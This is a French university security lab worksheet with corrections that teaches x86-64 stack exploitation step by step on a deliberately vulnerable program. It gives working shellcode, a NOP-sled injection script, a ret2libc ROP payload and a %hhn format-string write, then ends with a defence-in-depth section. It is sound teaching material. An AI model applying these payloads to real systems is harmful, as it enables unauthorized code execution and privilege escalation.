Université de Perpignan
C. Legrand

L3 Informatique
Année 2026

TD6 Sécurité Informatique

Projet StackX64 – Exploitation progressive x86-64

Avertissement éthique et légal

Les techniques présentées dans ce TD sont étudiées dans un **cadre strictement académique** afin de comprendre les mécanismes d'exploitation des vulnérabilités mémoire et ainsi pouvoir mieux s'en protéger.
Toute utilisation de ces techniques en dehors du cadre pédagogique est illégale et passible de sanctions pénales (chapitre III du Code pénal, articles 323-1 à 323-8 – *Des atteintes aux systèmes de traitement automatisé de données*) :

- Accès ou maintien frauduleux dans un STAD (art. 323-1) : **3 ans** d'emprisonnement et **100 000 €** d'amende
- Entrave au fonctionnement d'un STAD (art. 323-2) : **5 ans** d'emprisonnement et **150 000 €** d'amende
- Introduction frauduleuse de données dans un STAD (art. 323-3) : **5 ans** d'emprisonnement et **150 000 €** d'amende

Peines portées à **7 ans** et **300 000 €** lorsque le système visé traite des données à caractère personnel mis en œuvre par l'État, et jusqu'à **10 ans** et **300 000 €** en bande organisée (art. 323-4-1). *Peines mises à jour par la loi LOPMI n° 2023-22 du 24 janvier 2023.*

Dans ce TD-projet, vous allez explorer **progressivement** les techniques d'exploitation des vulnérabilités mémoire en x86-64. En partant de la reconnaissance de la pile jusqu'aux attaques avancées (shellcode, ret2libc, format strings en écriture), chaque phase approfondit la précédente et introduit une nouvelle technique d'attaque ou de défense.

Prérequis : TD5 (débordement de tampon simple, modification d'adresse de retour, chaînes de format en lecture). Connaissance de base de GDB et de l'assembleur x86-64.

Environnement requis : Machine Linux x86-64 (Debian 12/13 recommandé). Outils : `gcc`, `gdb`, `python3`, `objdump`, `ROPgadget` (optionnel).

Attention

Toutes les manipulations doivent être effectuées sur une **machine virtuelle dédiée** ou un environnement isolé. Désactivez l'ASLR **uniquement** dans cet environnement :

```
sudo sysctl -w kernel.randomize_va_space=0
```

Exercice 1 (Projet StackX64)**.**

Phase 1 – Reconnaissance et cartographie mémoire *(∼25 min)*

Rappel de cours

La pile x86-64 et les registres clés :
En architecture x86-64, la **pile** (*stack*) croît vers les adresses basses. Les registres principaux sont :

- **RSP** (*Stack Pointer*) : pointe vers le sommet de la pile (dernière valeur empilée)
- **RBP** (*Base Pointer*) : pointe vers la base du cadre de pile de la fonction courante
- **RIP** (*Instruction Pointer*) : adresse de la prochaine instruction à exécuter

Organisation d'un cadre de pile lors d'un appel de fonction :

```
Adresses hautes
+---------------------------+
| ...                       |
| Argument 7+ (si > 6 args)|  <-- empiles par l'appelant
+---------------------------+
| Adresse de retour (8 o.)  |  <-- empilee par CALL
+---------------------------+
| RBP sauvegarde (8 octets) |  <-- RBP pointe ici
+---------------------------+
| Variables locales         |  <-- RSP pointe vers le bas
| (buffer, etc.)            |
+---------------------------+
Adresses basses
```

Commandes GDB essentielles :

- `disassemble <func>` : désassembler une fonction
- `info registers` : afficher les registres
- `x/Nx <addr>` : examiner N mots mémoire en hexadécimal
- `x/s <addr>` : examiner une chaîne de caractères
- `break *<addr>` : point d'arrêt à une adresse
- `run < <(python3 -c "...")` : exécuter avec une entrée générée par Python

1a) Compiler le programme `stackx64.c` avec **toutes les protections désactivées** :

```
gcc -fno-stack-protector -no-pie -z execstack -g stackx64.c -o stackx64
```

Exécuter le programme avec une entrée normale (ex : `AAAA`). Observer les adresses affichées par les messages `[DEBUG]`.

1b) Ouvrir le programme dans GDB (`gdb ./stackx64`). Désassembler la fonction `vulnerable_function` avec `disassemble vulnerable_function`. Identifier l'instruction `sub rsp, 0x...` qui réserve l'espace pour les variables locales. Quelle est la taille réservée ?

1c) Placer un point d'arrêt après le `gets` dans `vulnerable_function`. Entrer `AAAAAAAA` (8 A). Examiner la pile avec `x/20gx $rsp`. Dessiner le schéma complet de la pile en identifiant :

- L'adresse et le contenu du buffer
- L'adresse et la valeur du RBP sauvegardé
- L'adresse et la valeur de l'adresse de retour

1d) Calculer l'**offset** (distance en octets) entre le début du buffer et l'adresse de retour. Vérifier votre calcul avec GDB en envoyant une chaîne de taille connue et en observant l'écrasement.

1e) Construire une entrée qui redirige l'exécution vers `secret_function()` en écrasant l'adresse de retour. Utiliser Python3 :

```
python3 -c "import sys; sys.stdout.buffer.write(b'A'*?? + b'\x...\x...\x
    ...\x...\x...\x...\x00\x00')"
```

Remplacer `??` par l'offset et les `\x..` par l'adresse de `secret_function` en **little-endian**.

Correction 1. ***1a)*** *Après compilation et exécution :*

```
$ gcc -fno-stack-protector -no-pie -z execstack -g stackx64.c -o stackx64
$ echo "AAAA" | ./stackx64
=== StackX64 - Vulnerable Program ===
[DEBUG] main() is at address:              0x401216
[DEBUG] secret_function() is at address:   0x4011d6
[DEBUG] vulnerable_function() is at:       0x4011f6
...
```

1b) *Désassemblage de* `vulnerable_function` *:*

```
(gdb) disassemble vulnerable_function
   ...
   0x00000000004011fa <+4>:   push   rbp
   0x00000000004011fb <+5>:   mov    rbp,rsp
   0x00000000004011fe <+8>:   sub    rsp,0x40
   ...
```

L'instruction `sub rsp, 0x40` *réserve* ***64 octets*** *(0x40 = 64) pour les variables locales, ce qui correspond au* `char buffer[64]`*.*

1c) *Schéma de la pile :*

```
Adresse            Contenu                  Description
-----------        -----------------        -------------------
0x7fffffffde58     0x0000000000401247       Adresse de retour (vers main)
0x7fffffffde50     0x00007fffffffde70       RBP sauvegarde
0x7fffffffde4c     0x0000000000000000       \
0x7fffffffde48     0x0000000000000000        |
...                ...                       | buffer[64]
0x7fffffffde14     0x0000000000000000        |
0x7fffffffde10     0x4141414141414141       /  <-- debut du buffer
```

1d) *Offset = taille du buffer + RBP sauvegardé = 64 + 8 =* ***72 octets****.*

Vérification avec GDB : on envoie 72 `A` *+ 8* `B` *et on vérifie que l'adresse de retour contient* `0x4242424242424242` *:*

```
(gdb) run < <(python3 -c "import sys; sys.stdout.buffer.write(b'A'*72 + b'B
    '*8)")
(gdb) x/gx $rbp+8
0x7fffffffde58: 0x4242424242424242
```

1e) *L'adresse de* `secret_function` *est* `0x4011d6`*. En little-endian :*

```
$ python3 -c "import sys; sys.stdout.buffer.write(b'A'*72 + b'\xd6\x11\x40\
    x00\x00\x00\x00\x00')" | ./stackx64
=== StackX64 - Vulnerable Program ===
...
==============================================
  SECRET FUNCTION REACHED!
  You successfully redirected execution!
==============================================
```

Point clé à retenir

- *L'offset entre le buffer et l'adresse de retour dépend du compilateur et des options d'optimisation. Il faut* ***toujours vérifier avec GDB****.*
- *En x86-64, les adresses sont sur 8 octets mais les adresses utilisateur n'utilisent que les 6 octets bas (les 2 octets hauts sont `0x00`).*
- *L'adresse de retour est à l'adresse `RBP + 8` (juste au-dessus du RBP sauvegardé).*

Phase 2 – Analyse et test de shellcode *(∼30 min)*

Rappel de cours

Shellcode : code machine pur
Un **shellcode** est une séquence d'octets représentant du code machine directement exécutable, conçu pour être injecté en mémoire. Son objectif classique est d'ouvrir un *shell* (`/bin/sh`).

Conventions d'appel système x86-64 (Linux) :

Registre	Rôle
`rax`	Numéro du syscall (59 = `execve`)
`rdi`	1er argument (`filename`)
`rsi`	2e argument (`argv`)
`rdx`	3e argument (`envp`)

Contrainte des null bytes : les fonctions C de manipulation de chaînes (`strcpy`, `gets`, etc.) s'arrêtent au premier octet `0x00`. Le shellcode ne doit donc contenir **aucun octet nul**.

Voici un shellcode x86-64 de 25 octets qui exécute `execve("/bin//sh", NULL, NULL)` :

```
1 xor    rsi, rsi                  ; rsi = 0 (argv = NULL)
2 push   rsi                       ; empile 0 (terminateur de chaine)
3 movabs rdi, 0x68732f2f6e69622f ; rdi = "/bin//sh"
4 push   rdi                       ; empile "/bin//sh" sur la pile
5 push   rsp                       ; empile l'adresse du sommet de pile
6 pop    rdi                       ; rdi = pointeur vers "/bin//sh"
7 xor    rdx, rdx                  ; rdx = 0 (envp = NULL)
8 mov    al, 59                    ; rax = 59 (numero syscall execve)
9 syscall                          ; appel systeme execve
```

Shellcode execve – 25 octets

Représentation en octets :

```
\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68
\x57\x54\x5f\x48\x31\xd2\xb0\x3b\x0f\x05
```

2a) Pour chaque instruction du shellcode ci-dessus, expliquer son rôle dans la construction de l'appel `execve("/bin//sh", NULL, NULL)`.

2b) Pourquoi utilise-t-on `xor rsi, rsi` au lieu de `mov rsi, 0` pour mettre un registre à zéro ? Quel problème `mov rsi, 0` poserait-il ? (Indice : examiner les opcodes avec `objdump` ou un assembleur en ligne.)

2c) Expliquer le concept du **NOP sled** (`0x90` = instruction `NOP`). Dessiner un schéma montrant pourquoi on pointe vers le milieu du NOP sled plutôt qu'exactement au début du shellcode.

2d) Compiler et tester le programme `test_shellcode.c` :

```
gcc -z execstack -o test_shellcode test_shellcode.c
./test_shellcode
```

Que se passe-t-il ? Tapez `exit` pour quitter le shell obtenu.

Correction 2. ***2a)*** *Annotation instruction par instruction :*

1. *`xor rsi, rsi` : met RSI à 0. RSI sera le 2e argument de `execve` (`argv = NULL`).*
2. *`push rsi` : empile 0 sur la pile. Ce zéro servira de terminateur `\0` pour la chaîne.*
3. *`movabs rdi, 0x68732f2f6e69622f` : charge l'encodage ASCII de `"/bin//sh"` dans RDI (en little-endian : `2f`=`/`, `62`=`b`, `69`=`i`, `6e`=`n`, `2f`=`/`, `2f`=`/`, `73`=`s`, `68`=`h`).*
4. *`push rdi` : empile la chaîne `"/bin//sh"` sur la pile.*
5. *`push rsp` : empile l'adresse du sommet de pile (qui pointe vers `"/bin//sh"`).*
6. *`pop rdi` : RDI = adresse de la chaîne `"/bin//sh"` (1er argument de `execve`).*
7. *`xor rdx, rdx` : met RDX à 0. RDX sera le 3e argument de `execve` (`envp = NULL`).*
8. *`mov al, 59` : charge le numéro de syscall `execve` (59) dans AL (octet bas de RAX). On utilise AL plutôt que RAX car RAX est déjà à 0 (après `xor rsi,rsi` le CPU maintient les bits hauts à 0 suite aux opérations précédentes), et `mov al, 59` est codé sur 2 octets sans null byte.*
9. *`syscall` : déclenche l'appel système avec RAX=59, RDI=→`"/bin//sh"`, RSI=0, RDX=0.*

2b) *`mov rsi, 0` est encodé comme `48 c7 c6 00 00 00 00` : il contient des **octets nuls** (`0x00`). Or les fonctions comme `gets()`, `strcpy()` interprètent `0x00` comme un terminateur de chaîne et arrêtent la copie. Le shellcode serait donc **tronqué**.*

`xor rsi, rsi` est encodé comme `48 31 f6` (3 octets, aucun null byte) et produit le même résultat : $x \oplus x = 0$.

2c) *Le NOP sled est une zone de `NOP` (`0x90`) placée avant le shellcode :*

```
+-------------------------------------------+
| NOP NOP NOP NOP ... NOP NOP | shellcode  | adresse retour |
+-------------------------------------------+
^                           ^      ^
|                           |      |
Debut du                   Zone   Debut du
NOP sled               d'atterr. shellcode

Le RIP saute quelque part dans le NOP sled --> glisse
jusqu'au shellcode sans erreur.
```

L'adresse exacte du buffer peut varier légèrement entre les exécutions (variables d'environnement, arguments). En pointant vers le ***milieu*** *du NOP sled, on tolère une erreur de ±(taille du sled / 2) octets.*

2d) *Le programme* `test_shellcode.c` *alloue le shellcode dans une variable globale (section* `.data`*), le caste en pointeur de fonction et l'appelle. Avec* `-z execstack` *(qui rend aussi les données exécutables sur certaines configurations), le shellcode s'exécute et ouvre un shell interactif* `/bin/sh`*.*

```
$ gcc -z execstack -o test_shellcode test_shellcode.c
$ ./test_shellcode
Shellcode length: 25 bytes
Executing shellcode...
$ whoami
etudiant
$ exit
```

Point clé à retenir

- *Les* ***null bytes*** *(`0x00`) sont l'ennemi du shellcode : ils terminent prématurément la copie par les fonctions C standard.*
- *Le double slash `//` dans `"/bin//sh"` est traité de manière identique à `/bin/sh` par le noyau Linux. Cette astuce permet d'obtenir une chaîne de 8 octets exactement (1 quadword).*
- *Le NOP sled augmente la* ***tolérance*** *aux imprécisions d'adresse.*

Phase 3 – Injection de shellcode par débordement *(∼35 min)*

Rappel de cours

Structure d'un payload d'injection de shellcode :
Le payload est construit pour tenir exactement dans l'espace buffer + RBP + adresse de retour :

```
+-----------------------------------------------+----------+
| NOP sled (0x90 * N) | Shellcode (25 octets)  | Addr ret |
+-----------------------------------------------+----------+
|<------------ 72 octets (offset) ------------>|<--8 o.-->|
                                                Total: 80 octets
```

L'adresse de retour pointe vers une adresse **à l'intérieur du NOP sled** (dans le buffer).

Attention

L'ASLR doit être **désactivé** pour cette phase. Vérifiez avec :

```
cat /proc/sys/kernel/randomize_va_space
```

La valeur doit être `0`. Sinon : `sudo sysctl -w kernel.randomize_va_space=0`

3a) Dans GDB, trouver l'adresse exacte du buffer. Placer un point d'arrêt juste après le `gets`, exécuter avec une entrée quelconque, puis examiner l'adresse affichée par le programme ou lire le registre RSP.

3b) Construire le payload Python3 complet :

- **NOP sled** : 47 octets de `\x90`
- **Shellcode** : 25 octets (donné en Phase 2)
- **Adresse de retour** : 8 octets pointant vers le NOP sled (en little-endian)
- Total : $47 + 25 + 8 = 80$ octets

Écrire le script Python3 qui génère ce payload.

3c) Exécuter l'exploit :

```
(python3 exploit_phase3.py ; cat) | ./stackx64
```

Le `; cat` maintient `stdin` ouvert pour interagir avec le shell obtenu. Vérifier que vous obtenez un shell en tapant `whoami`.

3d) Expliquer pourquoi l'adresse de retour doit être écrite en **little-endian**. Convertir l'adresse `0x7fffffffde10` en little-endian.

Attention

Les adresses peuvent être **différentes** entre GDB et l'exécution directe. GDB ajoute des variables d'environnement qui décalent la pile. Si l'exploit fonctionne dans GDB mais pas en dehors, ajustez l'adresse (typiquement quelques dizaines d'octets de différence).

Correction 3. *3a) Dans GDB :*

```
(gdb) break vulnerable_function
(gdb) run
(gdb) disassemble
   ...
   0x000000000040120e <+24>:  lea     rax,[rbp-0x40]    ; buffer = rbp - 0x40
   ...
(gdb) next   (jusqu'apres gets)
(gdb) print $rbp - 0x40
$1 = (void *) 0x7fffffffde10
```

L'adresse du buffer est `0x7fffffffde10`.

3b) Script Python3 pour l'exploit :

```
import sys

# Shellcode execve("/bin//sh", NULL, NULL) - 25 bytes
shellcode = (
```

```python
    b"\x48\x31\xf6"
    b"\x56"
    b"\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68"
    b"\x57\x54\x5f"
    b"\x48\x31\xd2"
    b"\xb0\x3b"
    b"\x0f\x05"
)

offset = 72            # buffer(64) + saved RBP(8)
nop_size = offset - len(shellcode)  # 72 - 25 = 47

# Address inside the NOP sled (middle of buffer)
# Adjust this address based on your GDB output
ret_addr = 0x7fffffffde10 + 20  # point to middle of NOP sled

nop_sled = b"\x90" * nop_size
addr_bytes = ret_addr.to_bytes(8, byteorder='little')

payload = nop_sled + shellcode + addr_bytes
sys.stdout.buffer.write(payload)
```

exploit_phase3.py

3c) *Exécution de l'exploit :*

```
$ (python3 exploit_phase3.py ; cat) | ./stackx64
=== StackX64 - Vulnerable Program ===
[DEBUG] main() is at address:              0x401216
[DEBUG] secret_function() is at address:   0x4011d6
[DEBUG] vulnerable_function() is at:       0x4011f6

[DEBUG] buffer is at address: 0x7fffffffde10
[DEBUG] Enter your input:
[DEBUG] You entered: (garbage)
whoami
etudiant
exit
```

3d) *L'architecture x86-64 utilise l'ordre* ***little-endian*** *: l'octet de poids faible est stocké à l'adresse la plus basse.*

Conversion de `0x7fffffffde10` *en little-endian :*

```
0x7fffffffde10 --> \x10\xde\xff\xff\xff\x7f\x00\x00
```

Point clé à retenir

- *L'injection de shellcode donne les* ***mêmes privilèges*** *que le programme vulnérable. Si le programme est* `setuid root`*, l'attaquant obtient un shell root.*
- *Le* `; cat` *après le script Python est essentiel : sans lui,* `stdin` *se ferme immédiatement et le shell ne peut pas recevoir de commandes.*
- *Les adresses dans GDB peuvent différer de quelques octets par rapport à l'exécution directe. Le NOP sled absorbe cette différence.*

Phase 4 – Protection NX et Return-to-libc *(∼35 min)*

Rappel de cours

NX (No-eXecute) / DEP (Data Execution Prevention) :
La protection **NX** marque la pile (et d'autres régions de données) comme **non exécutables**. Toute tentative d'exécuter du code sur la pile provoque un signal `SIGSEGV`.

Return-to-libc (ret2libc) :
Au lieu d'injecter du code, on **réutilise** des fonctions déjà présentes en mémoire (dans la libc). L'appel `system("/bin/sh")` nécessite :

1. Un **gadget** `pop rdi; ret` pour placer l'argument dans RDI
2. L'adresse de la chaîne `"/bin/sh"` dans la libc
3. L'adresse de la fonction `system()`

Alignement de pile 16 octets :
L'ABI x86-64 exige que RSP soit aligné sur 16 octets lors d'un `call`. Après un `ret` (qui dépile 8 octets), RSP n'est plus aligné. Un gadget `ret` supplémentaire réaligne la pile.

Structure du payload ret2libc :

```
+--------+-----+------------+----------+----------+
| Padding| ret | pop rdi;ret| "/bin/sh" | system() |
| 72 o.  |8 o. | 8 octets   | 8 octets | 8 octets |
+--------+-----+------------+----------+----------+
           ^       ^             ^          ^
           |       |             |          |
         align   gadget      argument   fonction
```

4a) Recompiler `stackx64.c` **sans** `-z execstack` (NX activé) :

```
gcc -fno-stack-protector -no-pie -g stackx64.c -o stackx64
```

Relancer l'exploit de la Phase 3. Que se passe-t-il et pourquoi ?

4b) Trouver l'adresse de `system()` dans GDB :

```
(gdb) break main
(gdb) run
(gdb) print system
```

4c) Trouver l'adresse de la chaîne `"/bin/sh"` dans la libc :

```
strings -a -t x /lib/x86_64-linux-gnu/libc.so.6 | grep "/bin/sh"
```

Puis additionner l'offset trouvé à l'adresse de base de la libc (visible avec `info proc mappings` dans GDB).

4d) Trouver un gadget `pop rdi; ret` dans le binaire ou la libc :

```
ROPgadget --binary stackx64 | grep "pop rdi"
```

Ou avec `objdump` :

```
objdump -d stackx64 | grep -A1 "pop.*rdi"
```

4e) Trouver un gadget `ret` simple (pour l'alignement) dans le binaire.

4f) Construire le payload ret2libc complet en Python3 et exécuter l'exploit.

4g) Remplir le tableau comparatif entre l'injection de shellcode (Phase 3) et le ret2libc (Phase 4) :

Critère	**Injection shellcode**	**Return-to-libc**
Code injecté ?		
Fonctionne avec NX ?		
Nécessite `-z execstack` ?		
Flexibilité de la charge utile		
Complexité de construction		
Sensible à l'ASLR de la libc ?		

Correction 4. *4a) L'exploit de la Phase 3 provoque un `SIGSEGV` (segmentation fault). Le processeur tente d'exécuter le shellcode qui se trouve sur la **pile**, mais la pile est marquée **non exécutable** (NX activé). Le matériel détecte la violation et le noyau envoie `SIGSEGV`.*

4b) Adresse de `system()` :

```
(gdb) break main
(gdb) run
(gdb) print system
$1 = {int (const char *)} 0x7ffff7e17290 <__libc_system>
```

4c) Trouver `"/bin/sh"` :

```
$ strings -a -t x /lib/x86_64-linux-gnu/libc.so.6 | grep "/bin/sh"
  1b3d88 /bin/sh
(gdb) info proc mappings
          Start Addr           End Addr   ...   objfile
      0x7ffff7dc0000      0x7ffff7fe8000   ...   libc.so.6
```

Adresse de `"/bin/sh"` = `0x7ffff7dc0000 + 0x1b3d88` = `0x7ffff7f73d88`

4d) Gadget `pop rdi; ret` :

```
$ ROPgadget --binary stackx64 | grep "pop rdi"
0x0000000000401283 : pop rdi ; ret
```

4e) Gadget `ret` (pour l'alignement) :

```
$ ROPgadget --binary stackx64 | grep ": ret$"
0x000000000040101a : ret
```

4f) Script Python3 pour l'exploit ret2libc :

```python
import sys

offset = 72

# Addresses (adjust based on your system)
ret_gadget      = 0x40101a            # ret (alignment)
pop_rdi_ret     = 0x401283            # pop rdi; ret
bin_sh_addr     = 0x7ffff7f73d88      # "/bin/sh" in libc
```

```python
system_addr     = 0x7ffff7e17290      # system() in libc

def p64(addr):
    return addr.to_bytes(8, byteorder='little')

payload  = b"A" * offset
payload += p64(ret_gadget)        # align stack to 16 bytes
payload += p64(pop_rdi_ret)       # pop rdi; ret
payload += p64(bin_sh_addr)       # rdi = "/bin/sh"
payload += p64(system_addr)       # call system("/bin/sh")

sys.stdout.buffer.write(payload)
```

exploit_phase4.py

Exécution :

```
$ (python3 exploit_phase4.py ; cat) | ./stackx64
=== StackX64 - Vulnerable Program ===
...
whoami
etudiant
```

4g) *Tableau comparatif rempli :*

Critère	***Injection shellcode***	***Return-to-libc***
Code injecté ?	*Oui (sur la pile)*	*Non (réutilise la libc)*
Fonctionne avec NX ?	*Non*	*Oui*
Nécessite `-z execstack` *?*	*Oui*	*Non*
Flexibilité de la charge utile	*Très élevée*	*Limitée aux fonctions libc*
Complexité de construction	*Moyenne*	*Élevée*
Sensible à l'ASLR de la libc ?	*Non (code sur la pile)*	*Oui*

Point clé à retenir

- *NX empêche l'exécution de code sur la pile, mais* ***n'empêche pas*** *la réutilisation de code existant (ret2libc, ROP).*
- *L'****alignement de pile*** *sur 16 octets est obligatoire sous x86-64 : un gadget* `ret` *supplémentaire est souvent nécessaire.*
- *Ret2libc démontre qu'une seule protection ne suffit pas : il faut une* ***défense en profondeur*** *(NX + ASLR + canaries + ...).*

Phase 5 – Attaque par chaîne de format en écriture *(∼30 min)*

Rappel de cours

Le spécificateur `%n` : de la lecture à l'écriture
En Phase TD5, vous avez utilisé `%x` et `%p` pour **lire** la pile via `printf(buffer)`. Le spécificateur `%n` va plus loin : il **écrit** le nombre de caractères affichés jusqu'ici à l'adresse pointée par l'argument correspondant.

Variantes de `%n` :

Format	Taille d'écriture	Usage
`%n`	4 octets (int)	Écriture complète
`%hn`	2 octets (short)	Écriture 16 bits
`%hhn`	1 octet (char)	Écriture 8 bits

Accès direct avec `$` : Le format `%k$hhn` utilise le **k-ième** argument de la pile pour l'écriture, sans consommer les arguments précédents.

Difficulté en 64 bits : Les adresses x86-64 comme `0x00000000004040XX` contiennent des **octets nuls**. Si l'adresse est en début de chaîne, `printf` s'arrête au premier `0x00`. Solution : placer l'adresse **en fin de chaîne** et ajuster l'offset `k`.

Attention

Compiler `formatx64.c` avec :

```
gcc -fno-stack-protector -no-pie -U_FORTIFY_SOURCE -g formatx64.c -o
    formatx64
```

L'option `-U_FORTIFY_SOURCE` désactive la protection qui bloque `%n` dans les versions récentes de la glibc.

5a) Localiser le buffer sur la pile en utilisant `%p` :

```
./formatx64 "AAAAAAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p"
```

Trouver l'offset `k` tel que `%k$p` affiche `0x4141414141414141` (les 8 `A` = `0x41`).

5b) Trouver l'adresse de la variable globale `is_admin` avec `nm` ou `objdump` :

```
nm formatx64 | grep is_admin
```

5c) Construire l'exploit `%hhn` pour écrire une valeur non nulle dans `is_admin`. La stratégie est :

(a) Placer l'adresse de `is_admin` en fin de payload (après les spécificateurs de format)
(b) Utiliser du padding pour ajuster le nombre de caractères affichés
(c) Utiliser `%hhn` avec l'offset approprié pour écrire dans `is_admin`

5d) Exécuter l'exploit et vérifier que le message `"Admin access granted!"` s'affiche.

Correction 5. ***5a)*** *Localisation du buffer sur la pile :*

```
$ ./formatx64 "AAAAAAAA.%p.%p.%p.%p.%p.%p.%p.%p"
=== FormatX64 - Format String Vulnerability ===

[DEBUG] is_admin is at address: 0x404040
[DEBUG] is_admin value (before): 0

AAAAAAAA.0x7fffffffdc30.0x7ffff7f9a2a0.(nil).0x7fffffffdd40.
0x7ffff7ffdaa0.0x4141414141414141.0x2e70252e70252e2e.0x252e70252e70252e
```

On voit `0x4141414141414141` *en position* ***6****. Donc* `k = 6` *:*

```
$ ./formatx64 $(python3 -c "print('AAAAAAAA%6\$p')")
... 0x4141414141414141 ...
```

5b) *Adresse de* `is_admin` *:*

```
$ nm formatx64 | grep is_admin
0000000000404040 B is_admin
```

L'adresse est `0x404040`*.*

5c) *Construction de l'exploit. L'adresse* `0x404040` *contient des null bytes (*`0x00 0x00 0x40 0x40 0x40 0x00 0x00 0x00`*). On la place en* ***fin de chaîne****. On doit calculer la position sur la pile de cette adresse.*

Le buffer commence à l'offset 6 sur la pile. Si notre chaîne de format fait 16 octets avant l'adresse (2 quadwords), l'adresse sera à l'offset $6 + 2 = 8$*.*

Script Python3 :

```python
import sys, struct

is_admin_addr = 0x404040

# Build the format string:
# We need %hhn to write 1 byte to is_admin
# The address is placed at the end (after format specifiers)
# to avoid null byte truncation.

# Strategy: write 1 byte (any non-zero value) to is_admin
# Padding: adjust character count to desired value
# The address will be at offset k on the stack

# Format string: "<padding>%<offset>$hhn" + address
# The padding ensures we have printed a non-zero number of chars
# before %hhn writes that count to the target address

# Our buffer starts at stack offset 6
# The format string part: "AA%8$hhnBBB" = 11 bytes + 5 padding = 16 bytes
# Then the address at offset 8 (= 6 + 16/8 = 6 + 2)

fmt = b"AA%8$hhnBBBBB"  # 13 bytes, pad to 16
fmt = fmt.ljust(16, b"C")
payload = fmt + struct.pack("<Q", is_admin_addr)

sys.stdout.buffer.write(payload)
```

exploit_phase5.py

Exécution :

```
$ ./formatx64 $(python3 exploit_phase5.py)
=== FormatX64 - Format String Vulnerability ===

[DEBUG] is_admin is at address: 0x404040
[DEBUG] is_admin value (before): 0

AA@@BBBBB...

[DEBUG] is_admin value (after): 2

============================================
  Admin access granted!
============================================
```

5d) *Le message* `"Admin access granted!"` *s'affiche car* `is_admin` *vaut maintenant 2 (le nombre de caractères* `"AA"` *affichés avant le* `%hhn`*), ce qui est non nul ⇒ la condition* `if(is_admin)` *est vraie.*

Attention

L'offset exact dépend de la taille de la chaîne de format et de l'alignement sur la pile. Il faut souvent ajuster par essais successifs. Utiliser GDB pour vérifier la position de l'adresse sur la pile.

Point clé à retenir

- `%n` *transforme une vulnérabilité de* ***lecture*** *(format string classique) en vulnérabilité d'****écriture arbitraire****.*
- *En 64 bits, les adresses contiennent des null bytes ⇒ on place l'adresse* ***en fin de chaîne*** *pour éviter la troncation.*
- `%hhn` *(écriture 1 octet) est plus facile à contrôler que* `%n` *(4 octets) car il suffit d'afficher* ≤ 255 *caractères.*

Phase 6 – Synthèse et mécanismes de défense *(∼25 min)*

Rappel de cours

Défense en profondeur (*defense in depth*) :
Aucune protection individuelle ne bloque toutes les attaques. La sécurité repose sur **plusieurs couches** complémentaires :

Mécanisme	Principe	Flag GCC
Stack canaries	Valeur sentinelle avant l'adresse de retour	`-fstack-protector`
NX / DEP	Pile non exécutable	(activé par défaut)
ASLR	Randomisation des adresses mémoire	(noyau)
PIE	Code exécutable à adresse aléatoire	`-pie`
Full RELRO	GOT en lecture seule	`-Wl,-z,relro,-z,now`

6a) Pour chacun des 5 mécanismes de défense (stack canaries, NX, ASLR, PIE, Full RELRO), décrire en 2-3 phrases :

- Son **principe** de fonctionnement
- Quelle(s) **attaque(s)** il bloque
- Le **flag** de compilation ou de système pour l'activer/désactiver

6b) Remplir la matrice suivante (5 protections × 4 attaques). Pour chaque case, indiquer : **BLOQUE**, **ne bloque pas**, ou **partiellement** (avec justification).

	Overflow → secret()	**Shellcode injection**	**Ret2libc**	**Format string %n**
Stack canaries				
NX / DEP				
ASLR				
PIE				
Full RELRO				

6c) Quelle **combinaison minimale** de protections permet de bloquer les 4 types d'attaques vues dans ce TD ?

6d) **Réflexion :** Un attaquant avancé dispose de techniques comme les *fuites d'information* (information leaks) pour contourner l'ASLR et les *chaînes ROP* complexes pour contourner NX. Pourquoi la **défense en profondeur** reste-t-elle nécessaire malgré ces contournements ?

Correction 6. ***6a)*** *Description des 5 mécanismes :*

1. ***Stack canaries*** *: Une valeur aléatoire ("canari") est placée entre les variables locales et l'adresse de retour sauvegardée. Avant le* `ret`*, le compilateur vérifie que cette valeur n'a pas été modifiée.* ***Bloque*** *les débordements de tampon qui écrasent l'adresse de retour (l'attaquant doit écraser le canari pour atteindre l'adresse de retour, ce qui déclenche l'arrêt du programme).* ***Flags*** *:* `-fstack-protector` / `-fno-stack-protector`*.*

2. ***NX / DEP*** *: Les pages mémoire sont marquées avec un bit NX (No-eXecute). La pile, le tas et les segments de données sont marqués non exécutables. Le processeur refuse d'exécuter du code situé dans ces zones.* ***Bloque*** *l'injection de shellcode sur la pile ou le tas.* ***Flags*** *:* `-z execstack` *(désactive) / activé par défaut.*

3. ***ASLR*** *(Address Space Layout Randomization) : Le noyau randomise les adresses de la pile, du tas, de la libc et des bibliothèques partagées à chaque exécution. L'attaquant ne peut plus prédire les adresses.* ***Bloque*** *(partiellement) les attaques nécessitant des adresses connues (shellcode injection, ret2libc).* ***Commande*** *:* `sysctl kernel.randomize_va_space=2` *(activer) /* `=0` *(désactiver).*

4. ***PIE*** *(Position-Independent Executable) : Le code de l'exécutable lui-même est compilé pour être chargé à une adresse aléatoire (en complément de l'ASLR qui randomise les bibliothèques). L'attaquant ne peut plus compter sur des adresses fixes dans le binaire (gadgets, fonctions).* ***Flags*** *:* `-pie` / `-no-pie`*.*

5. ***Full RELRO*** *(Relocation Read-Only) : La GOT (Global Offset Table), qui contient les adresses des fonctions de bibliothèques partagées, est résolue au chargement et rendue* ***en lecture seule****. Cela empêche la réécriture de la GOT (technique d'attaque avancée).* ***Flags*** *: `-Wl,-z,relro,-z,now` (full) / `-Wl,-z,norelro` (désactiver).*

6b) *Matrice protection × attaque :*

	Overflow → secret()	***Shellcode injection***	***Ret2libc***	***Format string %n***
Stack canaries	*BLOQUE*	*BLOQUE*	*BLOQUE*	*ne bloque pas*
NX / DEP	*ne bloque pas*	*BLOQUE*	*ne bloque pas*	*ne bloque pas*
ASLR	*ne bloque pas*	*partiellement*	*BLOQUE*	*partiellement*
PIE	*partiellement*	*partiellement*	*partiellement*	*partiellement*
Full RELRO	*ne bloque pas*	*ne bloque pas*	*ne bloque pas*	*partiellement*

Justifications des "partiellement" *:*

- ***ASLR / shellcode injection*** *: l'adresse de la pile est randomisée, mais un NOP sled très large pourrait compenser (attaque par bruteforce). C'est impraticable en 64 bits (espace d'adressage trop grand) mais théoriquement possible.*
- ***ASLR / format string*** *: les adresses de la pile changent, mais une fuite d'information (`%p`) peut révéler les adresses courantes.*
- ***PIE*** *: randomise les adresses du binaire (gadgets, fonctions comme `secret_function`), mais une fuite d'information peut contourner la protection.*
